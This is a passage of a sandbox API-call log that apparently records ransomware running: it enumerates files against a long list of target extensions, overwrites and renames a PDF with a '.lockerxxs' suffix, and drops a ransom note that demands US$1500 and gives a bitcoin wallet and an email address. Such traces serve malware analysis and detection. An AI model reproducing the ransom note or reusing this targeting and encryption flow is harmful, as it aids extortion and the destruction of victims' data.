lstrlenA (lpString="*.html") returned 6 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.919] lstrlenA (lpString="*.htm") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.919] lstrlenA (lpString="*.xlsx") returned 6 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.919] lstrlenA (lpString="*.xls") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.919] lstrlenA (lpString="*.mp4") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.919] lstrlenA (lpString="*.ppt") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.920] lstrlenA (lpString="*.pptx") returned 6 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.920] lstrlenA (lpString="*.doc") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.920] lstrlenA (lpString="*.dot") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.920] lstrlenA (lpString="*.docx") returned 6 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.920] lstrlenA (lpString="*.7z") returned 4 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.920] lstrlenA (lpString="*.tar") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.920] lstrlenA (lpString="*.bz2") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.920] lstrlenA (lpString="*.gz") returned 4 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.920] lstrlenA (lpString="*.mkv") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.920] lstrlenA (lpString="*.eml") returned 5 [0068.920] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.921] lstrlenA (lpString="*.msg") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.921] lstrlenA (lpString="*.edb") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.921] lstrlenA (lpString="*.accdb") returned 7 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.921] lstrlenA (lpString="*.odb") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.921] lstrlenA (lpString="*.java") returned 6 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.921] lstrlenA (lpString="*.asm") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.921] lstrlenA (lpString="*.pfx") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.921] lstrlenA (lpString="*.pem") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.921] lstrlenA (lpString="*.p12") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.921] lstrlenA (lpString="*.gpg") returned 5 [0068.921] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.922] lstrlenA (lpString="*.vsd") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.922] lstrlenA (lpString="*.odg") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.922] lstrlenA (lpString="*.raw") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.922] lstrlenA (lpString="*.nef") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.922] lstrlenA (lpString="*.svg") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.922] lstrlenA (lpString="*.psd") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.922] lstrlenA (lpString="*.vmx") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.922] lstrlenA (lpString="*.vmdk") returned 6 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.922] lstrlenA (lpString="*.vdi") returned 5 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.922] lstrlenA (lpString="*.lay6") returned 6 [0068.922] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.923] lstrlenA (lpString="*.mpeg") returned 6 [0068.923] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.923] lstrlenA (lpString="*.djvu") returned 6 [0068.923] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.923] lstrlenA (lpString="*.tiff") returned 6 [0068.923] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.923] lstrlenA (lpString="*.backup") returned 8 [0068.923] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.923] lstrlenA (lpString="*.pdf") returned 5 [0068.923] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" [0068.923] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" [0068.923] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf." [0068.923] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.lockerxxs" [0068.923] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.924] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d17f [0068.924] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.924] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.924] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1d159, lpOverlapped=0x0) returned 1 [0068.928] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf") returned="DefaultID.pdf" [0068.929] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.929] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1d159, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1d159, lpOverlapped=0x0) returned 1 [0068.930] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.931] CloseHandle (hObject=0x94) returned 1 [0068.933] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf.lockerxxs")) returned 1 [0068.934] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.934] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.934] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SKY", cAlternateFileName="")) returned 1 [0068.934] lstrcmpA (lpString1=".", lpString2="SKY") returned -1 [0068.934] lstrcmpA (lpString1="..", lpString2="SKY") returned -1 [0068.934] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.935] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" [0068.935] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY") returned 63 [0068.935] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.936] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.936] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.937] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.937] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.937] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x161fc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.937] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.937] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.937] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.937] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.937] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*.*") returned="*.*" [0068.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" [0068.937] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\") returned="" [0068.937] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt" [0068.937] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\how to decrypt files.txt")) returned 0xffffffff [0068.937] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.938] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.938] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.940] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.940] CloseHandle (hObject=0x94) returned 1 [0068.941] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.941] lstrlenA (lpString="*.ems") returned 5 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.941] lstrlenA (lpString="*.db") returned 4 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.941] lstrlenA (lpString="*.dbf") returned 5 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.941] lstrlenA (lpString="*.myox") returned 6 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.941] lstrlenA (lpString="*.myo") returned 5 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.941] lstrlenA (lpString="*.qbw") returned 5 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.941] lstrlenA (lpString="*.qbb") returned 5 [0068.941] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.941] lstrlenA (lpString="*.qbm") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.942] lstrlenA (lpString="*.qbo") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.942] lstrlenA (lpString="*.qbx") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.942] lstrlenA (lpString="*.qba") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.942] lstrlenA (lpString="*.qby") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.942] lstrlenA (lpString="*.qbj") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.942] lstrlenA (lpString="*.ofx") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.942] lstrlenA (lpString="*.qif") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.942] lstrlenA (lpString="*.mye") returned 5 [0068.942] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.942] lstrlenA (lpString="*.mbox") returned 6 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.943] lstrlenA (lpString="*.eml") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.943] lstrlenA (lpString="*.pst") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.943] lstrlenA (lpString="*.ost") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.943] lstrlenA (lpString="*.idx") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.943] lstrlenA (lpString="*.dbx") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.943] lstrlenA (lpString="*.sql") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.943] lstrlenA (lpString="*.mdb") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.943] lstrlenA (lpString="*.fdb") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.943] lstrlenA (lpString="*.wab") returned 5 [0068.943] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.944] lstrlenA (lpString="*.dat") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.944] lstrlenA (lpString="*.txt") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 